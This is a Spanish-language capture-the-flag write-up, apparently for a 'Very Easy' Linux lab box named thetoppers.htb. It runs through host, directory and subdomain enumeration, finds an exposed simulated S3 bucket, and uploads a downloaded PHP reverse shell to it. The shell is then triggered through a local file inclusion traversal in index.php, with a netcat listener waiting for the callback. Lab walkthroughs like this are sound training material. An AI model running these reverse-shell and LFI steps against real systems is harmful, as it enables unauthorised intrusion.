Dificultad: Very Easy · SO: Linux · Tema: buckets S3 expuestos + LFI → reverse shell
Trabajo ordenado desde el arranque: declaro la IP como variable para que toda la semántica sea más práctica durante toda la sesión.
export ip=<IP>
nmap -sC -sV -T4 $ip

Sitio web en el puerto 80 → lo agrego a /etc/hosts, práctica estándar para consumir vhosts:
echo "$ip thetoppers.htb" | sudo tee -a /etc/hosts

Fuzzing de directorios y archivos PHP:
ffuf -u http://thetoppers.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302 -t 50
# wordlist propia enfocada en backups y configs
echo -e "config.php.bak\nbackup.zip\n.php\n.git\nphpinfo.php" > php_wordlist.txt
ffuf -u http://thetoppers.htb/FUZZ -w php_wordlist.txt -mc 200,301,302,403 -t 20
El directorio /images/ devolvía 200 y listaba todo el contenido:

Pensé en inyectar algo ahí para una reverse shell, pero no era el camino. El vector real: enumeración de subdominios con gobuster.
gobuster vhost -u http://thetoppers.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
Bingo: s3.thetoppers.htb — un bucket AWS S3 simulado.

Configuro credenciales AWS de laboratorio y planto una reverse shell PHP limpia en el bucket:
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php
sed -i "s/127.0.0.1/<TU_IP_TUN0>/g; s/1234/443/g" shell.php
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb/shell.php
nc -nvlp 443
curl "http://thetoppers.htb/index.php?page=../../var/www/s3/shell.php"

Sesión ganada como www-data.
page de index.php tiene una vulnerabilidad de inclusión de archivos../../) navegamos hasta donde vive nuestro shell: /var/www/s3/shell.phpEste patrón se llama LFI + Reverse Shell: funciona cuando el servidor permite incluir archivos locales y ejecutar PHP.